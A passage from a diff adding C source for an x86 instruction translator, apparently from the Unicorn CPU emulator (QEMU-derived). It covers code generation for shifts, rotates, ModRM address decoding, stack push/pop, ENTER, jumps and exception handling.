tcg_gen_shl_tl(tcg_ctx, cpu_tmp0, *cpu_T[0], cpu_tmp0); + if (ot == MO_16) { + /* Only needed if count > 16, for Intel behaviour. */ + tcg_gen_subfi_tl(tcg_ctx, cpu_tmp4, 33, count); + tcg_gen_shr_tl(tcg_ctx, cpu_tmp4, *cpu_T[1], cpu_tmp4); + tcg_gen_or_tl(tcg_ctx, cpu_tmp0, cpu_tmp0, cpu_tmp4); + } + + tcg_gen_subfi_tl(tcg_ctx, cpu_tmp4, mask + 1, count); + tcg_gen_shl_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], count); + tcg_gen_shr_tl(tcg_ctx, *cpu_T[1], *cpu_T[1], cpu_tmp4); + } + tcg_gen_movi_tl(tcg_ctx, cpu_tmp4, 0); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_EQ, *cpu_T[1], count, cpu_tmp4, + cpu_tmp4, *cpu_T[1]); + tcg_gen_or_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + break; + } + + /* store */ + gen_op_st_rm_T0_A0(s, ot, op1); + + gen_shift_flags(s, ot, *cpu_T[0], cpu_tmp0, count, is_right); + tcg_temp_free(tcg_ctx, count); +} + +static void gen_shift(DisasContext *s1, int op, TCGMemOp ot, int d, int s) +{ + TCGContext *tcg_ctx = s1->uc->tcg_ctx; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + if (s != OR_TMP1) + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[1], s); + switch(op) { + case OP_ROL: + gen_rot_rm_T1(s1, ot, d, 0); + break; + case OP_ROR: + gen_rot_rm_T1(s1, ot, d, 1); + break; + case OP_SHL: + case OP_SHL1: + gen_shift_rm_T1(s1, ot, d, 0, 0); + break; + case OP_SHR: + gen_shift_rm_T1(s1, ot, d, 1, 0); + break; + case OP_SAR: + gen_shift_rm_T1(s1, ot, d, 1, 1); + break; + case OP_RCL: + gen_rotc_rm_T1(s1, ot, d, 0); + break; + case OP_RCR: + gen_rotc_rm_T1(s1, ot, d, 1); + break; + } +} + +static void gen_shifti(DisasContext *s, int op, TCGMemOp ot, int d, int c) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + switch(op) { + case OP_ROL: + gen_rot_rm_im(s, ot, d, c, 0); + break; + case OP_ROR: + gen_rot_rm_im(s, ot, d, c, 1); + break; + case OP_SHL: + case OP_SHL1: + gen_shift_rm_im(s, ot, d, c, 0, 0); + break; + case OP_SHR: + gen_shift_rm_im(s, ot, d, c, 1, 0); + break; + case OP_SAR: + gen_shift_rm_im(s, ot, d, c, 1, 1); + break; + default: + /* currently not optimized */ + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], c); + gen_shift(s, op, ot, d, OR_TMP1); + break; + } +} + +static void gen_lea_modrm(CPUX86State *env, DisasContext *s, int modrm) +{ + target_long disp; + int havesib; + int base; + int index; + int scale; + int mod, rm, code, override, must_add_seg; + TCGv sum; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + TCGv **cpu_regs = (TCGv **)tcg_ctx->cpu_regs; + + override = s->override; + must_add_seg = s->addseg; + if (override >= 0) + must_add_seg = 1; + mod = (modrm >> 6) & 3; + rm = modrm & 7; + + switch (s->aflag) { + case MO_64: + case MO_32: + havesib = 0; + base = rm; + index = -1; + scale = 0; + + if (base == 4) { + havesib = 1; + code = cpu_ldub_code(env, s->pc++); + scale = (code >> 6) & 3; + index = ((code >> 3) & 7) | REX_X(s); + if (index == 4) { + index = -1; /* no index */ + } + base = (code & 7); + } + base |= REX_B(s); + + switch (mod) { + case 0: + if ((base & 7) == 5) { + base = -1; + disp = (int32_t)cpu_ldl_code(env, s->pc); + s->pc += 4; + if (CODE64(s) && !havesib) { + disp += s->pc + s->rip_offset; + } + } else { + disp = 0; + } + break; + case 1: + disp = (int8_t)cpu_ldub_code(env, s->pc++); + break; + default: + case 2: + disp = (int32_t)cpu_ldl_code(env, s->pc); + s->pc += 4; + break; + } + + /* For correct popl handling with esp. */ + if (base == R_ESP && s->popl_esp_hack) { + disp += s->popl_esp_hack; + } + + /* Compute the address, with a minimum number of TCG ops. */ + TCGV_UNUSED(sum); + if (index >= 0) { + if (scale == 0) { + sum = *cpu_regs[index]; + } else { + tcg_gen_shli_tl(tcg_ctx, cpu_A0, *cpu_regs[index], scale); + sum = cpu_A0; + } + if (base >= 0) { + tcg_gen_add_tl(tcg_ctx, cpu_A0, sum, *cpu_regs[base]); + sum = cpu_A0; + } + } else if (base >= 0) { + sum = *cpu_regs[base]; + } + if (TCGV_IS_UNUSED(sum)) { + tcg_gen_movi_tl(tcg_ctx, cpu_A0, disp); + } else { + tcg_gen_addi_tl(tcg_ctx, cpu_A0, sum, disp); + } + + if (must_add_seg) { + if (override < 0) { + if (base == R_EBP || base == R_ESP) { + override = R_SS; + } else { + override = R_DS; + } + } + + tcg_gen_ld_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUX86State, segs[override].base)); + if (CODE64(s)) { + if (s->aflag == MO_32) { + tcg_gen_ext32u_tl(tcg_ctx, cpu_A0, cpu_A0); + } + tcg_gen_add_tl(tcg_ctx, cpu_A0, cpu_A0, cpu_tmp0); + return; + } + + tcg_gen_add_tl(tcg_ctx, cpu_A0, cpu_A0, cpu_tmp0); + } + + if (s->aflag == MO_32) { + tcg_gen_ext32u_tl(tcg_ctx, cpu_A0, cpu_A0); + } + break; + + case MO_16: + switch (mod) { + case 0: + if (rm == 6) { + disp = cpu_lduw_code(env, s->pc); + s->pc += 2; + tcg_gen_movi_tl(tcg_ctx, cpu_A0, disp); + rm = 0; /* avoid SS override */ + goto no_rm; + } else { + disp = 0; + } + break; + case 1: + disp = (int8_t)cpu_ldub_code(env, s->pc++); + break; + default: + case 2: + disp = (int16_t)cpu_lduw_code(env, s->pc); + s->pc += 2; + break; + } + + sum = cpu_A0; + switch (rm) { + case 0: + tcg_gen_add_tl(tcg_ctx, cpu_A0, *cpu_regs[R_EBX], *cpu_regs[R_ESI]); + break; + case 1: + tcg_gen_add_tl(tcg_ctx, cpu_A0, *cpu_regs[R_EBX], *cpu_regs[R_EDI]); + break; + case 2: + tcg_gen_add_tl(tcg_ctx, cpu_A0, *cpu_regs[R_EBP], *cpu_regs[R_ESI]); + break; + case 3: + tcg_gen_add_tl(tcg_ctx, cpu_A0, *cpu_regs[R_EBP], *cpu_regs[R_EDI]); + break; + case 4: + sum = *cpu_regs[R_ESI]; + break; + case 5: + sum = *cpu_regs[R_EDI]; + break; + case 6: + sum = *cpu_regs[R_EBP]; + break; + default: + case 7: + sum = *cpu_regs[R_EBX]; + break; + } + tcg_gen_addi_tl(tcg_ctx, cpu_A0, sum, disp); + tcg_gen_ext16u_tl(tcg_ctx, cpu_A0, cpu_A0); + no_rm: + if (must_add_seg) { + if (override < 0) { + if (rm == 2 || rm == 3 || rm == 6) { + override = R_SS; + } else { + override = R_DS; + } + } + gen_op_addl_A0_seg(s, override); + } + break; + + default: + tcg_abort(); + } +} + +static void gen_nop_modrm(CPUX86State *env, DisasContext *s, int modrm) +{ + int mod, rm, base, code; + + mod = (modrm >> 6) & 3; + if (mod == 3) + return; + rm = modrm & 7; + + switch (s->aflag) { + case MO_64: + case MO_32: + base = rm; + + if (base == 4) { + code = cpu_ldub_code(env, s->pc++); + base = (code & 7); + } + + switch (mod) { + case 0: + if (base == 5) { + s->pc += 4; + } + break; + case 1: + s->pc++; + break; + default: + case 2: + s->pc += 4; + break; + } + break; + + case MO_16: + switch (mod) { + case 0: + if (rm == 6) { + s->pc += 2; + } + break; + case 1: + s->pc++; + break; + default: + case 2: + s->pc += 2; + break; + } + break; + + default: + tcg_abort(); + } +} + +/* used for LEA and MOV AX, mem */ +static void gen_add_A0_ds_seg(DisasContext *s) +{ + int override, must_add_seg; + must_add_seg = s->addseg; + override = R_DS; + if (s->override >= 0) { + override = s->override; + must_add_seg = 1; + } + if (must_add_seg) { +#ifdef TARGET_X86_64 + if (CODE64(s)) { + gen_op_addq_A0_seg(s->uc->tcg_ctx, override); + } else +#endif + { + gen_op_addl_A0_seg(s, override); + } + } +} + +/* generate modrm memory load or store of 'reg'. TMP0 is used if reg == + OR_TMP0 */ +static void gen_ldst_modrm(CPUX86State *env, DisasContext *s, int modrm, + TCGMemOp ot, int reg, int is_store) +{ + int mod, rm; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + if (mod == 3) { + if (is_store) { + if (reg != OR_TMP0) + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], reg); + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], rm); + if (reg != OR_TMP0) + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + } + } else { + gen_lea_modrm(env, s, modrm); + if (is_store) { + if (reg != OR_TMP0) + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], reg); + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + if (reg != OR_TMP0) + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + } + } +} + +static inline uint32_t insn_get(CPUX86State *env, DisasContext *s, TCGMemOp ot) +{ + uint32_t ret; + + switch (ot) { + case MO_8: + ret = cpu_ldub_code(env, s->pc); + s->pc++; + break; + case MO_16: + ret = cpu_lduw_code(env, s->pc); + s->pc += 2; + break; + case MO_32: +#ifdef TARGET_X86_64 + case MO_64: +#endif + ret = cpu_ldl_code(env, s->pc); + s->pc += 4; + break; + default: + tcg_abort(); + } + return ret; +} + +static inline int insn_const_size(TCGMemOp ot) +{ + if (ot <= MO_32) { + return 1 << ot; + } else { + return 4; + } +} + +static inline void gen_goto_tb(DisasContext *s, int tb_num, target_ulong eip) +{ + TranslationBlock *tb; + target_ulong pc; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + pc = s->cs_base + eip; + tb = s->tb; + /* NOTE: we handle the case where the TB spans two pages here */ + if ((pc & TARGET_PAGE_MASK) == (tb->pc & TARGET_PAGE_MASK) || + (pc & TARGET_PAGE_MASK) == ((s->pc - 1) & TARGET_PAGE_MASK)) { + /* jump to same page: we can use a direct jump */ + tcg_gen_goto_tb(tcg_ctx, tb_num); + gen_jmp_im(s, eip); + tcg_gen_exit_tb(tcg_ctx, (uintptr_t)tb + tb_num); + } else { + /* jump to another page: currently not optimized */ + gen_jmp_im(s, eip); + gen_eob(s); + } +} + +static inline void gen_jcc(DisasContext *s, int b, + target_ulong val, target_ulong next_eip) +{ + int l1, l2; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + if (s->jmp_opt) { + l1 = gen_new_label(tcg_ctx); + gen_jcc1(s, b, l1); + + gen_goto_tb(s, 0, next_eip); + + gen_set_label(tcg_ctx, l1); + gen_goto_tb(s, 1, val); + s->is_jmp = DISAS_TB_JUMP; + } else { + l1 = gen_new_label(tcg_ctx); + l2 = gen_new_label(tcg_ctx); + gen_jcc1(s, b, l1); + + gen_jmp_im(s, next_eip); + tcg_gen_br(tcg_ctx, l2); + + gen_set_label(tcg_ctx, l1); + gen_jmp_im(s, val); + gen_set_label(tcg_ctx, l2); + gen_eob(s); + } +} + +static void gen_cmovcc1(CPUX86State *env, DisasContext *s, TCGMemOp ot, int b, + int modrm, int reg) +{ + CCPrepare cc; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + TCGv **cpu_regs = (TCGv **)tcg_ctx->cpu_regs; + + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + + cc = gen_prepare_cc(s, b, *cpu_T[1]); + if (cc.mask != -1) { + TCGv t0 = tcg_temp_new(tcg_ctx); + tcg_gen_andi_tl(tcg_ctx, t0, cc.reg, cc.mask); + cc.reg = t0; + } + if (!cc.use_reg2) { + cc.reg2 = tcg_const_tl(tcg_ctx, cc.imm); + } + + tcg_gen_movcond_tl(tcg_ctx, cc.cond, *cpu_T[0], cc.reg, cc.reg2, + *cpu_T[0], *cpu_regs[reg]); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + + if (cc.mask != -1) { + tcg_temp_free(tcg_ctx, cc.reg); + } + if (!cc.use_reg2) { + tcg_temp_free(tcg_ctx, cc.reg2); + } +} + +static inline void gen_op_movl_T0_seg(TCGContext *s, int seg_reg) +{ + TCGv **cpu_T = (TCGv **)s->cpu_T; + + tcg_gen_ld32u_tl(s, *cpu_T[0], s->cpu_env, + offsetof(CPUX86State,segs[seg_reg].selector)); +} + +static inline void gen_op_movl_seg_T0_vm(TCGContext *s, int seg_reg) +{ + TCGv **cpu_T = (TCGv **)s->cpu_T; + + tcg_gen_andi_tl(s, *cpu_T[0], *cpu_T[0], 0xffff); + tcg_gen_st32_tl(s, *cpu_T[0], s->cpu_env, + offsetof(CPUX86State,segs[seg_reg].selector)); + tcg_gen_shli_tl(s, *cpu_T[0], *cpu_T[0], 4); + tcg_gen_st_tl(s, *cpu_T[0], s->cpu_env, + offsetof(CPUX86State,segs[seg_reg].base)); +} + +/* move T0 to seg_reg and compute if the CPU state may change. Never + call this function with seg_reg == R_CS */ +static void gen_movl_seg_T0(DisasContext *s, int seg_reg, target_ulong cur_eip) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 cpu_tmp2_i32 = tcg_ctx->cpu_tmp2_i32; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + if (s->pe && !s->vm86) { + /* XXX: optimize by finding processor state dynamically */ + gen_update_cc_op(s); + gen_jmp_im(s, cur_eip); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + gen_helper_load_seg(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, seg_reg), cpu_tmp2_i32); + /* abort translation because the addseg value may change or + because ss32 may change. For R_SS, translation must always + stop as a special handling must be done to disable hardware + interrupts for the next instruction */ + if (seg_reg == R_SS || (s->code32 && seg_reg < R_FS)) + s->is_jmp = DISAS_TB_JUMP; + } else { + gen_op_movl_seg_T0_vm(tcg_ctx, seg_reg); + if (seg_reg == R_SS) + s->is_jmp = DISAS_TB_JUMP; + } +} + +static inline int svm_is_rep(int prefixes) +{ + return ((prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) ? 8 : 0); +} + +static inline void +gen_svm_check_intercept_param(DisasContext *s, target_ulong pc_start, + uint32_t type, uint64_t param) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + /* no SVM activated; fast case */ + if (likely(!(s->flags & HF_SVMI_MASK))) + return; + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_svm_check_intercept_param(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, type), + tcg_const_i64(tcg_ctx, param)); +} + +static inline void +gen_svm_check_intercept(DisasContext *s, target_ulong pc_start, uint64_t type) +{ + gen_svm_check_intercept_param(s, pc_start, type, 0); +} + +static inline void gen_stack_update(DisasContext *s, int addend) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + +#ifdef TARGET_X86_64 + if (CODE64(s)) { + gen_op_add_reg_im(tcg_ctx, MO_64, R_ESP, addend); + } else +#endif + if (s->ss32) { + gen_op_add_reg_im(tcg_ctx, MO_32, R_ESP, addend); + } else { + gen_op_add_reg_im(tcg_ctx, MO_16, R_ESP, addend); + } +} + +/* Generate a push. It depends on ss32, addseg and dflag. */ +static void gen_push_v(DisasContext *s, TCGv val) +{ + TCGMemOp a_ot, d_ot = mo_pushpop(s, s->dflag); + int size = 1 << d_ot; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_tmp4 = *(TCGv *)tcg_ctx->cpu_tmp4; + TCGv new_esp = cpu_A0; + TCGv **cpu_regs = (TCGv **)tcg_ctx->cpu_regs; + + tcg_gen_subi_tl(tcg_ctx, cpu_A0, *cpu_regs[R_ESP], size); + + if (CODE64(s)) { + a_ot = MO_64; + } else if (s->ss32) { + a_ot = MO_32; + if (s->addseg) { + new_esp = cpu_tmp4; + tcg_gen_mov_tl(tcg_ctx, new_esp, cpu_A0); + gen_op_addl_A0_seg(s, R_SS); + } else { + tcg_gen_ext32u_tl(tcg_ctx, cpu_A0, cpu_A0); + } + } else { + a_ot = MO_16; + new_esp = cpu_tmp4; + tcg_gen_ext16u_tl(tcg_ctx, cpu_A0, cpu_A0); + tcg_gen_mov_tl(tcg_ctx, new_esp, cpu_A0); + gen_op_addl_A0_seg(s, R_SS); + } + + gen_op_st_v(s, d_ot, val, cpu_A0); + gen_op_mov_reg_v(tcg_ctx, a_ot, R_ESP, new_esp); +} + +/* two step pop is necessary for precise exceptions */ +static TCGMemOp gen_pop_T0(DisasContext *s) +{ + TCGMemOp d_ot = mo_pushpop(s, s->dflag); + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + TCGv addr = cpu_A0; + TCGv **cpu_regs = (TCGv **)tcg_ctx->cpu_regs; + + if (CODE64(s)) { + addr = *cpu_regs[R_ESP]; + } else if (!s->ss32) { + tcg_gen_ext16u_tl(tcg_ctx, cpu_A0, *cpu_regs[R_ESP]); + gen_op_addl_A0_seg(s, R_SS); + } else if (s->addseg) { + tcg_gen_mov_tl(tcg_ctx, cpu_A0, *cpu_regs[R_ESP]); + gen_op_addl_A0_seg(s, R_SS); + } else { + tcg_gen_ext32u_tl(tcg_ctx, cpu_A0, *cpu_regs[R_ESP]); + } + + gen_op_ld_v(s, d_ot, *cpu_T[0], addr); + return d_ot; +} + +static void gen_pop_update(DisasContext *s, TCGMemOp ot) +{ + gen_stack_update(s, 1 << ot); +} + +static void gen_stack_A0(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + gen_op_movl_A0_reg(tcg_ctx, R_ESP); + if (!s->ss32) + tcg_gen_ext16u_tl(tcg_ctx, cpu_A0, cpu_A0); + tcg_gen_mov_tl(tcg_ctx, *cpu_T[1], cpu_A0); + if (s->addseg) + gen_op_addl_A0_seg(s, R_SS); +} + +/* NOTE: wrap around in 16 bit not fully handled */ +static void gen_pusha(DisasContext *s) +{ + int i; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + gen_op_movl_A0_reg(tcg_ctx, R_ESP); + gen_op_addl_A0_im(tcg_ctx, ((unsigned int)(-8)) << s->dflag); + if (!s->ss32) + tcg_gen_ext16u_tl(tcg_ctx, cpu_A0, cpu_A0); + tcg_gen_mov_tl(tcg_ctx, *cpu_T[1], cpu_A0); + if (s->addseg) + gen_op_addl_A0_seg(s, R_SS); + for(i = 0;i < 8; i++) { + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[0], 7 - i); + gen_op_st_v(s, s->dflag, *cpu_T[0], cpu_A0); + gen_op_addl_A0_im(tcg_ctx, 1 << s->dflag); + } + gen_op_mov_reg_v(tcg_ctx, MO_16 + s->ss32, R_ESP, *cpu_T[1]); +} + +/* NOTE: wrap around in 16 bit not fully handled */ +static void gen_popa(DisasContext *s) +{ + int i; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + gen_op_movl_A0_reg(tcg_ctx, R_ESP); + if (!s->ss32) + tcg_gen_ext16u_tl(tcg_ctx, cpu_A0, cpu_A0); + tcg_gen_mov_tl(tcg_ctx, *cpu_T[1], cpu_A0); + tcg_gen_addi_tl(tcg_ctx, *cpu_T[1], *cpu_T[1], 8 << s->dflag); + if (s->addseg) + gen_op_addl_A0_seg(s, R_SS); + for(i = 0;i < 8; i++) { + /* ESP is not reloaded */ + if (i != 3) { + gen_op_ld_v(s, s->dflag, *cpu_T[0], cpu_A0); + gen_op_mov_reg_v(tcg_ctx, s->dflag, 7 - i, *cpu_T[0]); + } + gen_op_addl_A0_im(tcg_ctx, 1 << s->dflag); + } + gen_op_mov_reg_v(tcg_ctx, MO_16 + s->ss32, R_ESP, *cpu_T[1]); +} + +static void gen_enter(DisasContext *s, int esp_addend, int level) +{ + TCGMemOp ot = mo_pushpop(s, s->dflag); + int opsize = 1 << ot; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + level &= 0x1f; +#ifdef TARGET_X86_64 + if (CODE64(s)) { + gen_op_movl_A0_reg(tcg_ctx, R_ESP); + gen_op_addq_A0_im(tcg_ctx, -opsize); + tcg_gen_mov_tl(tcg_ctx, *cpu_T[1], cpu_A0); + + /* push bp */ + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[0], R_EBP); + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + if (level) { + /* XXX: must save state */ + gen_helper_enter64_level(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, level), + tcg_const_i32(tcg_ctx, (ot == MO_64)), + *cpu_T[1]); + } + gen_op_mov_reg_v(tcg_ctx, ot, R_EBP, *cpu_T[1]); + tcg_gen_addi_tl(tcg_ctx, *cpu_T[1], *cpu_T[1], -esp_addend + (-opsize * level)); + gen_op_mov_reg_v(tcg_ctx, MO_64, R_ESP, *cpu_T[1]); + } else +#endif + { + gen_op_movl_A0_reg(tcg_ctx, R_ESP); + gen_op_addl_A0_im(tcg_ctx, -opsize); + if (!s->ss32) + tcg_gen_ext16u_tl(tcg_ctx, cpu_A0, cpu_A0); + tcg_gen_mov_tl(tcg_ctx, *cpu_T[1], cpu_A0); + if (s->addseg) + gen_op_addl_A0_seg(s, R_SS); + /* push bp */ + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[0], R_EBP); + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + if (level) { + /* XXX: must save state */ + gen_helper_enter_level(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, level), + tcg_const_i32(tcg_ctx, s->dflag - 1), + *cpu_T[1]); + } + gen_op_mov_reg_v(tcg_ctx, ot, R_EBP, *cpu_T[1]); + tcg_gen_addi_tl(tcg_ctx, *cpu_T[1], *cpu_T[1], -esp_addend + (-opsize * level)); + gen_op_mov_reg_v(tcg_ctx, MO_16 + s->ss32, R_ESP, *cpu_T[1]); + } +} + +static void gen_exception(DisasContext *s, int trapno, target_ulong cur_eip) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + gen_update_cc_op(s); + gen_jmp_im(s, cur_eip); + gen_helper_raise_exception(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, trapno)); + s->is_jmp = DISAS_TB_JUMP; +} + +/* an interrupt is different from an exception because of the + privilege checks */ +static void gen_interrupt(DisasContext *s, int intno, + target_ulong cur_eip, target_ulong next_eip) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + gen_update_cc_op(s); + // Unicorn: skip to the next instruction after our interrupt callback + gen_jmp_im(s, cur_eip); + gen_helper_raise_interrupt(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, intno), + tcg_const_i32(tcg_ctx, next_eip - cur_eip)); + s->is_jmp = DISAS_TB_JUMP; +} + +static void gen_debug(DisasContext *s, target_ulong cur_eip) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + gen_update_cc_op(s); + gen_jmp_im(s, cur_eip); + gen_helper_debug(tcg_ctx, tcg_ctx->cpu_env); + s->is_jmp = DISAS_TB_JUMP; +} + +/* generate a generic end of block. Trace exception is also generated + if needed */ +static void gen_eob(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + gen_update_cc_op(s); // qq + if (s->tb->flags & HF_INHIBIT_IRQ_MASK) { + gen_helper_reset_inhibit_irq(tcg_ctx, tcg_ctx->cpu_env); + } + if (s->tb->flags & HF_RF_MASK) { + gen_helper_reset_rf(tcg_ctx, tcg_ctx->cpu_env); + } + if (s->singlestep_enabled) { + gen_helper_debug(tcg_ctx, tcg_ctx->cpu_env); + } else if (s->tf) { + gen_helper_single_step(tcg_ctx, tcg_ctx->cpu_env); + } else { + tcg_gen_exit_tb(s->uc->tcg_ctx, 0); + } + s->is_jmp = DISAS_TB_JUMP; +} + +/* generate a jump to eip. No segment change must happen before as a + direct call to the next block may occur */ +static void gen_jmp_tb(DisasContext *s, target_ulong eip, int tb_num) +{ + gen_update_cc_op(s); + set_cc_op(s, CC_OP_DYNAMIC); + if (s->jmp_opt) { + gen_goto_tb(s, tb_num, eip); + s->is_jmp = DISAS_TB_JUMP; + } else { + gen_jmp_im(s, eip); + gen_eob(s); + } +} + +static void gen_jmp(DisasContext *s, target_ulong eip) +{ + gen_jmp_tb(s, eip, 0); +} + +static inline void gen_ldq_env_A0(DisasContext *s, int offset) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 cpu_tmp1_i64 = tcg_ctx->cpu_tmp1_i64; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + + tcg_gen_qemu_ld_i64(s->uc, cpu_tmp1_i64, cpu_A0, s->mem_index, MO_LEQ); + tcg_gen_st_i64(tcg_ctx, cpu_tmp1_i64, tcg_ctx->cpu_env, offset); +} + +static inline void gen_stq_env_A0(DisasContext *s, int offset) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 cpu_tmp1_i64 = tcg_ctx->cpu_tmp1_i64; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + + tcg_gen_ld_i64(tcg_ctx, cpu_tmp1_i64, tcg_ctx->cpu_env, offset); + tcg_gen_qemu_st_i64(s->uc, cpu_tmp1_i64, cpu_A0, s->mem_index, MO_LEQ); +} + +static inline void gen_ldo_env_A0(DisasContext *s, int offset) +{ + int mem_index = s->mem_index; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 cpu_tmp1_i64 = tcg_ctx->cpu_tmp1_i64; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + + tcg_gen_qemu_ld_i64(s->uc, cpu_tmp1_i64, cpu_A0, mem_index, MO_LEQ); + tcg_gen_st_i64(tcg_ctx, cpu_tmp1_i64, tcg_ctx->cpu_env, offset + offsetof(XMMReg, XMM_Q(0))); + tcg_gen_addi_tl(tcg_ctx, cpu_tmp0, cpu_A0, 8); + tcg_gen_qemu_ld_i64(s->uc, cpu_tmp1_i64, cpu_tmp0, mem_index, MO_LEQ); + tcg_gen_st_i64(tcg_ctx, cpu_tmp1_i64, tcg_ctx->cpu_env, offset + offsetof(XMMReg, XMM_Q(1))); +} + +static inline void gen_sto_env_A0(DisasContext *s, int offset) +{ + int mem_index = s->mem_index; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 cpu_tmp1_i64 = tcg_ctx->cpu_tmp1_i64; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + + tcg_gen_ld_i64(tcg_ctx, cpu_tmp1_i64, tcg_ctx->cpu_env, offset + offsetof(XMMReg, XMM_Q(0))); + tcg_gen_qemu_st_i64(s->uc, cpu_tmp1_i64, cpu_A0, mem_index, MO_LEQ); + tcg_gen_addi_tl(tcg_ctx, cpu_tmp0, cpu_A0, 8); + tcg_gen_ld_i64(tcg_ctx, cpu_tmp1_i64, tcg_ctx->cpu_env, offset + offsetof(XMMReg, XMM_Q(1))); + tcg_gen_qemu_st_i64(s->uc, cpu_tmp1_i64, cpu_tmp0, mem_index, MO_LEQ); +} + +static inline void gen_op_movo(TCGContext *s, int d_offset, int s_offset) +{ + TCGv_i64 cpu_tmp1_i64 = s->cpu_tmp1_i64; + + tcg_gen_ld_i64(s, cpu_tmp1_i64, s->cpu_env, s_offset); + tcg_gen_st_i64(s, cpu_tmp1_i64, s->cpu_env, d_offset); + tcg_gen_ld_i64(s, cpu_tmp1_i64, s->cpu_env, s_offset + 8); + tcg_gen_st_i64(s, cpu_tmp1_i64, s->cpu_env, d_offset + 8); +} + +static inline void gen_op_movq(TCGContext *s, int d_offset, int s_offset) +{ + TCGv_i64 cpu_tmp1_i64 = s->cpu_tmp1_i64; + + tcg_gen_ld_i64(s, cpu_tmp1_i64, s->cpu_env, s_offset); + tcg_gen_st_i64(s, cpu_tmp1_i64, s->cpu_env, d_offset); +} + +static inline void gen_op_movl(TCGContext *s, int d_offset, int s_offset) +{ + tcg_gen_ld_i32(s, s->cpu_tmp2_i32, s->cpu_env, s_offset); + tcg_gen_st_i32(s, s->cpu_tmp2_i32, s->cpu_env, d_offset); +} + 